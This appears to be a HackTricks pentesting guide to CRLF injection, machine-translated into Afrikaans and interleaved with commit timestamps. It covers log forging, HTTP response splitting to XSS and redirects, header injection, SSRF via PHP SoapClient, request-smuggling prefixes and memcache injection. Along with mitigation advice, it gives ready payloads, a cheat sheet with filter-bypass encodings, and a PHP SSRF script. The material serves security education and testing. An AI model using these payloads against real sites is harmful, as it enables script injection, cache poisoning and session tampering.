hacktricks/pentesting-web/crlf-0d-0a.md

235 lines
16 KiB
Markdown
Raw Normal View History

# CRLF (%0D%0A) Ins spuiting
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings te verdien tot **$100,000**!
2022-04-28 16:01:33 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-05-24 00:07:19 +00:00
2024-02-05 20:00:40 +00:00
### CRLF
Carriage Return (CR) en Line Feed (LF), gesamentlik bekend as CRLF, is spesiale karakterreeks wat in die HTTP-protokol gebruik word om die einde van 'n lyn of die begin van 'n nuwe een aan te dui. Webbedieners en webblaaie gebruik CRLF om onderskeid te maak tussen HTTP-koppe en die liggaam van 'n respons. Hierdie karakters word universeel gebruik in HTTP/1.1-kommunikasie oor verskeie webbediener-tipes, soos Apache en Microsoft IIS.
### CRLF Ins spuitbaarheid
CRLF-inspuiting behels die invoeging van CR- en LF-karakters in gebruikersverskafte insette. Hierdie aksie mislei die bediener, aansoek, of gebruiker om die ingespotte reeks te interpreteer as die einde van een respons en die begin van 'n ander. Alhoewel hierdie karakters nie inherent skadelik is nie, kan hul misbruik lei tot HTTP-responsplitsing en ander skadelike aktiwiteite.
### Voorbeeld: CRLF Ins spuiting in 'n Log-lêer
2024-02-11 02:07:06 +00:00
[Voorbeeld van hier](https://www.invicti.com/blog/web-security/crlf-http-header/)
Oorweeg 'n log-lêer in 'n administrateurspaneel wat die formaat volg: `IP - Tyd - Besoekte pad`. 'n Tipiese inskrywing kan lyk soos:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
'n Aanvaller kan 'n CRLF-inspuiting uitbuit om hierdie log te manipuleer. Deur CRLF-karakters in die HTTP-versoek in te spuit, kan die aanvaller die uitvoerstroom verander en loginskrywings vervals. Byvoorbeeld, 'n ingespotte reeks kan die loginskrywing omskep in:'
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Hier verteenwoordig `%0d` en `%0a` die URL-gekodeerde vorms van CR en LF. Na die aanval sal die log misleidend vertoon:
2024-02-05 20:00:40 +00:00
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Die aanvaller verhul dus hul skadelike aktiwiteite deur dit te laat lyk asof die localhost (n entiteit wat tipies vertrou word binne die bedieneromgewing) die aksies uitgevoer het. Die bediener interpreteer die gedeelte van die versoek wat begin met `%0d%0a` as 'n enkele parameter, terwyl die `restrictedaction` parameter as 'n ander, afsonderlike inset geïnterpreteer word. Die gemanipuleerde versoek boots effektief 'n wettige administratiewe bevel na: `/index.php?page=home&restrictedaction=edit`
### HTTP Reaksie Splitsing
2024-02-11 02:07:06 +00:00
#### Beskrywing
HTTP Reaksie Splitsing is 'n veiligheidskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-reaksies uitbuit. Hierdie struktuur skei koppe van die liggaam deur 'n spesifieke karakterreeks, Carriage Return (CR) gevolg deur Line Feed (LF), gesamentlik bekend as CRLF, te gebruik. As 'n aanvaller daarin slaag om 'n CRLF-reeks in 'n reaksiekop in te voeg, kan hulle die daaropvolgende reaksie-inhoud effektief manipuleer. Hierdie tipe manipulasie kan lei tot ernstige veiligheidskwessies, veral Kruissite Skripsing (XSS).
#### XSS deur HTTP Reaksie Splitsing
1. Die aansoek stel 'n aangepaste kop soos volg: `X-Aangepaste-Kop: GebruikerInvoer`
2. Die aansoek haal die waarde vir `GebruikerInvoer` van 'n navraagparameter, sê "gebruiker_inset". In situasies waar behoorlike insetvalidering en enkodering ontbreek, kan 'n aanvaller 'n lading skep wat die CRLF-reeks insluit, gevolg deur skadelike inhoud.
3. 'n Aanvaller skep 'n URL met 'n spesiaal geskepte 'gebruiker_inset': `?gebruiker_inset=Waarde%0d%0a%0d%0a<script>alert('XSS')</script>`
* In hierdie URL is `%0d%0a%0d%0a` die URL-gekodeerde vorm van CRLFCRLF. Dit mislei die bediener om 'n CRLF-reeks in te voeg, wat die bediener laat die daaropvolgende gedeelte as die reaksie liggaam hanteer.
4. Die bediener weerspieël die aanvaller se inset in die reaksiekop, wat lei tot 'n onbedoelde reaksie struktuur waar die skadelike skrips deur die blaaier geïnterpreteer word as deel van die reaksie liggaam.
#### 'n Voorbeeld van HTTP Reaksie Splitsing wat tot 'n Herlei lei
2024-02-11 02:07:06 +00:00
Vanaf [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
2024-02-11 02:07:06 +00:00
Blaaier na:
```
/%0d%0aLocation:%20http://myweb.com
```
2024-02-11 02:07:06 +00:00
En die bediener reageer met die kop:
```
Location: http://myweb.com
```
**Ander voorbeeld: (van** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
2024-02-11 02:07:06 +00:00
#### In URL Pad
Jy kan die lading **binne die URL-pad** stuur om die **reaksie** van die bediener te beheer (voorbeeld van [hier](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
2024-02-11 02:07:06 +00:00
Kyk na meer voorbeelde in:
2024-02-05 20:00:40 +00:00
2021-04-17 15:19:39 +00:00
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTP Kopinspuiting
2021-04-17 15:20:44 +00:00
HTTP Kopinspuiting, dikwels uitgebuit deur CRLF (Carriage Return en Line Feed) inspuiting, maak dit vir aanvallers moontlik om HTTP koppe in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-planting.
2021-04-17 15:20:44 +00:00
#### Uitbuiting van CORS via HTTP Kopinspuiting
2021-04-17 15:20:44 +00:00
'n Aanvaller kan HTTP koppe inspuit om CORS (Cross-Origin Resource Sharing) moontlik te maak, wat die beperkings wat deur SOP opgelê word, kan omseil. Hierdie oortreding maak dit vir skripte van kwaadwillige oorsprong moontlik om met bronne van 'n ander oorsprong te interaksieer, wat moontlik toegang tot beskermde data kan gee.
2021-04-17 15:20:44 +00:00
#### SSRF en HTTP Versoek Inspuiting via CRLF
2021-04-17 15:19:39 +00:00
CRLF inspuiting kan gebruik word om 'n heeltemal nuwe HTTP-versoek te skep en in te spuit. 'n Noemenswaardige voorbeeld hiervan is die kwesbaarheid in PHP se `SoapClient` klas, spesifiek binne die `user_agent` parameter. Deur hierdie parameter te manipuleer, kan 'n aanvaller ekstra koppe en liggaaminhoud invoeg, of selfs 'n nuwe HTTP-versoek heeltemal inspuit. Hieronder is 'n PHP-voorbeeld wat hierdie uitbuiting demonstreer:
2021-04-17 15:19:39 +00:00
```php
2024-02-11 02:07:06 +00:00
$target = 'http://127.0.0.1:9090/test';
2021-04-17 15:19:39 +00:00
$post_string = 'variable=post value';
$crlf = array(
2024-02-11 02:07:06 +00:00
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
2021-04-17 15:19:39 +00:00
);
$client = new SoapClient(null,
2024-02-11 02:07:06 +00:00
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
2021-04-17 15:19:39 +00:00
);
2024-02-05 20:00:40 +00:00
# Put a netcat listener on port 9090
2021-04-17 15:19:39 +00:00
$client->__soapCall("test", []);
```
### Kopteinjeksie vir Versoeksmokkeling
Vir meer inligting oor hierdie tegniek en potensiële probleme [**kyk na die oorspronklike bron**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
2022-10-05 09:28:25 +00:00
Jy kan noodsaaklike koppe inspuit om te verseker dat die **agterkant die verbinding oop hou** nadat dit op die aanvanklike versoek gereageer het:
2022-10-05 09:28:25 +00:00
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Na afloop kan 'n tweede versoek gespesifiseer word. Hierdie scenario behels tipies [HTTP-versoeksmokkelary](http-request-smuggling/), 'n tegniek waar ekstra koppe of liggaamselemente wat deur die bediener na-inspuiting bygevoeg word, kan lei tot verskeie sekuriteitsuitbuitings.
2022-10-05 09:28:25 +00:00
2024-02-11 02:07:06 +00:00
**Uitbuiting:**
2024-02-05 20:00:40 +00:00
2024-02-11 02:07:06 +00:00
1. **Boosaardige Voorvoegselinspuiting**: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webgeheue deur 'n boosaardige voorvoegsel te spesifiseer. 'n Voorbeeld hiervan is:
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2. **Skep 'n Voorvoegsel vir Reaksie-rykvergiftiging**: Hierdie benadering behels die skep van 'n voorvoegsel wat, wanneer gekombineer met agtergeblewe rommel, 'n volledige tweede versoek vorm. Dit kan reaksie-rykvergiftiging veroorsaak. 'n Voorbeeld is:
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
2024-02-11 02:07:06 +00:00
### Memcache-inspuiting
2023-02-16 13:29:30 +00:00
Memcache is 'n **sleutel-waarde stoor wat 'n oop teksprotokol gebruik**. Meer inligting in:
2023-02-16 13:29:30 +00:00
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
**Vir die volledige inligting lees die** [**oorspronklike skryfstuk**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
2024-02-05 20:00:40 +00:00
As 'n platform **data van 'n HTTP-versoek neem en dit sonder sanitasie gebruik** om **versoeke** na 'n **memcache**-bediener uit te voer, kan 'n aanvaller hierdie gedrag misbruik om **nuwe memcache-opdragte in te spuit**.
2023-02-16 13:29:30 +00:00
Byvoorbeeld, in die oorspronklike ontdekte kwesbaarheid is kashuisleutels gebruik om die IP en poort terug te stuur waaraan 'n gebruiker moet koppel, en aanvallers kon **memcache-opdragte inspuit** wat die **kashuis sou vergiftig om die besonderhede van die slagoffers te stuur** (gebruikersname en wagwoorde ingesluit) na die aanvaller se bedieners:
2023-02-16 13:29:30 +00:00
<figure><img src="../.gitbook/assets/image (656).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
2023-02-16 13:29:30 +00:00
Verder het navorsers ook ontdek dat hulle die memcachereaksies kon desinkroniseer om die aanvallers se IP en poorte na gebruikers te stuur wie se e-pos die aanvaller nie geken het nie:
2023-02-16 13:29:30 +00:00
<figure><img src="../.gitbook/assets/image (634).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>
### Hoe om CRLF / HTTP-kopinspuitings in Webtoepassings te voorkom
2023-02-16 13:29:30 +00:00
2024-02-11 02:07:06 +00:00
Om die risiko van CRLF (Carriage Return en Line Feed) of HTTP-kopinspuitings in webtoepassings te verminder, word die volgende strategieë aanbeveel:
1. **Vermy Direkte Gebruikerinsette in Reaksiekoppe:** Die veiligste benadering is om te vermy om gebruikersgelewerde insette direk in reaksiekoppe op te neem.
2. **Kodeer Spesiale Karakters:** As dit nie moontlik is om direkte gebruikerinsette te vermy nie, moet daar verseker word dat 'n funksie wat spesiaal ontwerp is om spesiale karakters soos CR (Carriage Return) en LF (Line Feed) te kodeer, gebruik word. Hierdie praktyk voorkom die moontlikheid van CRLF-inspuiting.
3. **Werk die Programmeer taal op:** Werk gereeld die programmeertaal wat in jou webtoepassings gebruik word na die nuutste weergawe op. Kies 'n weergawe wat inherent die inspuiting van CR- en LF-karakters binne funksies wat belas is met die instelling van HTTP-koppe, verbied.
### SAKKAART
[Sakkaart van hier](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
2021-06-23 17:08:03 +00:00
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
2024-02-11 02:07:06 +00:00
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
2024-02-11 02:07:06 +00:00
## Outomatiese Gereedskap
2020-09-11 09:44:53 +00:00
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
2020-09-11 09:44:53 +00:00
## Brute-Force Opmerkingslys
2021-06-27 21:56:13 +00:00
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
2021-06-27 21:56:13 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2024-02-05 20:00:40 +00:00
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
2022-04-05 22:24:52 +00:00
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
2023-02-16 13:29:30 +00:00
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
2024-02-05 20:00:40 +00:00
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
2022-05-24 00:07:19 +00:00
**Foutvonds wenk**: **teken aan** vir **Intigriti**, 'n premium **foutvondsplatform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin verdien belonings tot **$100,000**!
2022-05-24 00:07:19 +00:00
{% embed url="https://go.intigriti.com/hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-31 01:25:17 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>